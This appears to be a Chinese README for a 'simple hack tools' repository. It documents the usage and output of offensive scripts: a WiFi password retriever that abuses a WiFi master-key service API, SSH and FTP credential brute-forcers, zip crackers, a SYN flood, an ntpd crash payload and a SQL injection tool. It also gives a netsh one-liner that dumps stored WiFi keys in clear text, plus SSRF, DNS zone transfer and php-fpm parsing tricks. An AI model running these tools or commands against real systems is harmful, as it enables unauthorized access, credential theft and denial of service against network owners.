simple hack tools ,以下所有工具,代码不得用于非法用途,仅当做学习使用,违者一切后果自行承担!
破解原理:
破解wifi万能钥匙的接口协议,非抓包暴力破解,wifi万能钥匙的服务端存储了大量的wifi密码相关信息
通过向接口提供ssid和bssid信息,获取真实的wifi密码
这里要感谢zke1ev3n逆向了wifi万能钥匙的安卓客户端
本脚本完善了破解程序,增加了容错机制,获得的密码在response中其实是urlencode的,本脚本也增加了decode解码
查看帮助
➜ Hacking git:(master) ✗ py attackWiFi.py -h
Usage: use:
--ssid <wifi ssid> --bssid <wifi bssid>
Example: python attackWiFi.py --ssid ssid --bssid bssid
Options:
-h, --help show this help message and exit
--ssid=WIFI_SSID the wifi ssid info
--bssid=WIFI_BSSID the wifi bssid info
第一步是要获得wifi的ssid和bssid信息,我演示的环境是Mac环境,其他环境请自行寻找下获取ssid和bssid的工具
Mac环境:
执行:airport -s 获取所有wifi相关信息,这里部分信息进行了打码:
Mac下默认airport -s 是不行的,因为我在执行之前建过一个软链接:
ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
其他操作系统获取方式可自行Google
上一步获得了ssid和bssid信息
执行获取密码:
python attackWiFi.py --ssid xxx --bssid ****
xxx 表示wifi的名称:比如wifi名叫:home
**** 表示wifi的bssid信息:比如 17:71:94:14:84:0d (随便写的)
那么获取密码就是:
python attackWiFi.py --ssid home --bssid 17:71:94:14:84:0d
成功了会显示password is: xxxxxxx
也有可能会失败,貌似服务端是有check的,操作多了,会获取失败,这个时候可以换一个网络环境测试,或者换一个wifi测试
网上大部分关于https的讲解各式各样,也不易于理解。于是自己总结画了个图,如有错误欢迎批评指正
1.[server] 生成配对的公钥和私钥,Pub,Pri
2.[server] 服务器将“Pub”传给客户端
3.[Client] 生成对称秘钥("key2"),然后用key2加密信息
4.[Client] 使用“Pub”加密“key2”。因为只有服务器知道“Pri”,所以“key2”是安全的
5.[Client] send(加密后的数据)和(加密的后的key2)给服务器
6.[Server] 用私钥“Pri”解密这个result_two,拿到“key2”
7.[Server]用“key2”解密加密后的数据result_one。数据安全的到达来了服务器。
总结:解密result_one用的key2采用对称加密,而公钥和私钥的生成则采用非对称加密,
所以一个完整的https流程应该是既包含了对称加密也包含了非对称加密.
HSTS一定是安全的的吗?助你深入理解HSTS的图。
使用场景:
一:
A服务器在内网,公网无法直接访问这台服务器,但是A服务器可以联网访问公网的B服务器(假设IP为222.2.2.2)。
我们也可以访问公网的B服务器。我们的目标是访问A服务器的22端口。那么可以这样:
1. 在B服务器上运行:
./TcpPortForward.py l:10001 l:10002
表示在本地监听了10001与10002两个端口,这样,这两个端口就可以互相传输数据了。
2. 在A服务器上运行:
./TcpPortForward.py c:localhost:22 c:222.2.2.2:10001
表示连接本地的22端口与B服务器的10001端口,这两个端口也可以互相传输数据了。
3. 然后我们就可以这样来访问A服务器的22端口了:
ssh 222.2.2.2 -p 10002
原理很简单,这个命令执行后,B服务器的10002端口接收到的任何数据都会传给10001端口,此时,A服务器是连接了B服务器的10001端口的,
数据就会传给A服务器,最终进入A服务器的22端口。
二:
不用更多举例了,TcpPortForward.py的l与c两个参数可以进行灵活的两两组合,多台服务器之间只要搞明白数据流方向,那么就能满足很多场景的需求。
collect from phithon
需要管理员权限
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
帮助说明: python zipattack.py -h
测试:
zip test.zip *.gif -e
进行暴力破解:
python zipattack.py -f test.zip -d password.txt
第二个脚本:zak.py 是无限穷举
python zak.py -h
Usage: usage -f <zipfile> -t <type> -l <length> or -h get help
Options:
-h, --help show this help message and exit
-f ZNAME specifyzip file
-t TNAME specify type(num|a|A|aA|anum|numa|Anum|aAnum)
-l LENGTH specify length,default=8
例:
python zak.py -f test.zip -t num -l 12
表示以数字类型,长度最长为12的密码枚举test.zip文件
python createDict.py
按ctrl+c 停止生成
More Help: PortScan.py -h
测试:
python PortScan.py -H www.baidu.com -p 80 443 110
➜ py python PortScan.py -H www.baidu.com -p 80 443 110
[+] Scan Results for: 119.75.218.70
Scanning port 443
Scanning port 110
Scanning port 80
[+]443/tcp open
[+] HTTP/1.1 302 Moved Temporarily
Server: bfe/1.0.8.18
Date: Sun, 06 Nov 2016 08:43:40 GMT
Content-T
[-]110/tcp closed
[-]80/tcp closed
Also, You can local test , The python script support domain or ip mode
Example:
python PortScan.py -H 127.0.0.1 -p 80
测试:
➜ py python sshAttack.py -h
Usage: -H <target host> -u <user> -f <password list>
Options:
-h, --help show this help message and exit
-H TGTHOST specify target host
-f PASSWDFILE specify password file
-u USER specify the user
-c COUNT specify the max ssh connect count , default 5
py python sshAttack.py -H 192.168.2.201 -u test -f /Users/lock/1.txt -c 20
-c 用户测试指定ssh链接数,具体根据ssh config 文件判断
例:
➜ py python sshAttack.py -H 192.168.1.100 -u root -f password.md -c 20
[-] Testing: 1111
[-] Testing: 2222
[-] Testing: 3333
[-] Testing: 111111
[-] Testing: 123123
[-] Testing: 123456
[+] Good , Key Found: 123456
测试:
➜ py python ftpAttack.py -h
Usage: -H <target host> -f <password list>
Options:
-h, --help show this help message and exit
-H TGTHOST specify target host
-f PASSWDFILE specify password file,like username:password format file
-d DELAY attack time delay set default 1s
➜ py python ftpAttack.py -H 127.0.0.1 -f userpass.md -d 1
[-] 127.0.0.1 FTP Anonymous Logon Failed.
[+] Trying: root/aaa
[-] Could not brute force FTP credentials.
[+] Trying: lock/mmm
[-] Could not brute force FTP credentials.
[+] Trying: alice/123
[-] Could not brute force FTP credentials.
The default test delay time is 0s , test default account is anonymous , if success, will show user name and password.
userpass.md is username and password file,the file format like below:
root:123
hello:456
alice:789
test:12345
More Detail:
python synFlood.py -h
1,用 Scapy 简单的复制一个 TCP SYN 洪水攻击,将制作一些 IP 数据包, TCP 513 目标端口。
2,运行攻击发送 TCP SYN 数据包耗尽目标主机资源,填满它的连接队列,基本瘫 痪目标发送 TCP 重置包的能力。
3,netstat -an 大量的半链接状态 SYN_RECV
可能需要的依赖:
brew install --with-python libdnet
pip install scapy
pip install pcapy
pip install pydumbnet
执行效果:
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
....
构造一个特殊的数据包,ntpd没有默认开启trap服务,如果trap被开启,攻击者就能通过特别构造的数据包导致空指针引、ntpd崩溃,进而导致服务器拒绝服务。
测试:
监听本地udp 1111 端口
➜ ~ nc -l -u 0 1111
执行:
➜ Hacking git:(master) ✗ python ntpDenialService.py 127.0.0.1 1111
[-] Sending payload to 127.0.0.1:1111 ...
[+] Done!
➜ ~ nc -l -u 0 1111
6nonce, laddr=[]:Hrags=32, laddr=[]:WOP2, laddr=[]:WOP
接受到这个特殊的数据包,ntpd崩溃,形成拒绝服务
审计开源框架/cms的时候可能会遇到一些有意思的注入漏洞
当以pdo的方式连接mysql,也就是说可以多语句执行的时候
然后,参考如下:
python:
import binascii
s='select * from x limit 1;'
print binascii.b2a_hex(s)
# 获得16进制数据,73656c656374202a2066726f6d2078206c696d697420313b
mysql -uroot
set @a:=0x73656c656374202a2066726f6d2078206c696d697420313b;
prepare s from @a;
execute s;
mysql root@localhost:test> execute s;
+------+----------+-------+
| id | is_reg | pid |
|------+----------+-------|
| 1 | 1 | 0 |
+------+----------+-------+
1 row in set
Time: 0.002s
此漏洞主要影响Windows Server 2012/2016、Win8/8.1以及Win10系统。
攻击者可以模拟成一个SMB服务器,诱使客户端发起SMB请求来触发漏洞。
攻击者也可以通过中间人方式“毒化”SMB回应,插入恶意的SMB回复实现拒绝服务或控制受害系统。
根据返回的时间差来猜测注入的结果是否正确(无视代码很烂)
帮助:
➜ Hacking git:(master) ✗ py sqlInjetct.py
-----Usage:-----
Example:
python sqlInject.py -u http://xxx.xxx.com/id=123
SSRF放大以后还是十分危险的,当利用SSRF刺探内网的时候,结合dict伪协议再利用ftp协议刺探某个ip是否存活.
一般情况下如果可以在极短时间内得到response那么基本可以判定该ip存活,反之不存在该ip。
这个技巧也是收集过来的,至于为什么应该是和ftp协议本身有关?
获得一幅内网蓝图SSRF是一个不错的选择。
如何判断SSRF:
1,SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的。
2,在我们本地浏览器的请求中就不应该存在图片的请求,如果抓包可以立即看到效果。
DNS域传送漏洞:
主域服务器A,备域服务器B,
A,B之间需要备份相关的域名,ip对应信息,
原则上只有B可以去同步A信息到自己的数据库中。但是由于配置错误,
导致任意客户端向主域发起请求,主域都会把相关信息返回给客户端,内部网络蓝图被轻松泄露。
dig soa xxx.com
得到ANSWER SECTION:假设为:
ns3.dnsv4.com
查看是否有域传送返回:
dig axfr xxx.com @ns3.dnsv4.com
有返回就表示漏洞存在
查看帮助:
python fpm.py -h
这篇文章写的不错,于是收集了过来:
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
简述如下:
Nginx和IIS7曾经出现过一个PHP相关的解析漏洞(测试环境https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability).
该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但却按照.php后缀解析了。
用户请求http://127.0.0.1/favicon.ico/.php,nginx将会发送如下环境变量到fpm里:
{
...
'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
'SCRIPT_NAME': '/favicon.ico/.php',
'REQUEST_URI': '/favicon.ico/.php',
'DOCUMENT_ROOT': '/var/www/html',
...
}
正常来说:
SCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php,
是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。
PHP为了支持Path Info模式而创造了fix_pathinfo,在这个选项被打开的情况下,
fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉最后一个/及以后的所有内容,
再次判断文件是否存在,往次循环,直到文件存在。
所以,第一次fpm发现/var/www/html/favicon.ico/.php不存在,则去掉/.php,再判断/var/www/html/favicon.ico是否存在。
显然这个文件是存在的,于是被作为PHP文件执行,导致解析漏洞。
正确的解决方法有两种:
一,在Nginx端使用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;
二,借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。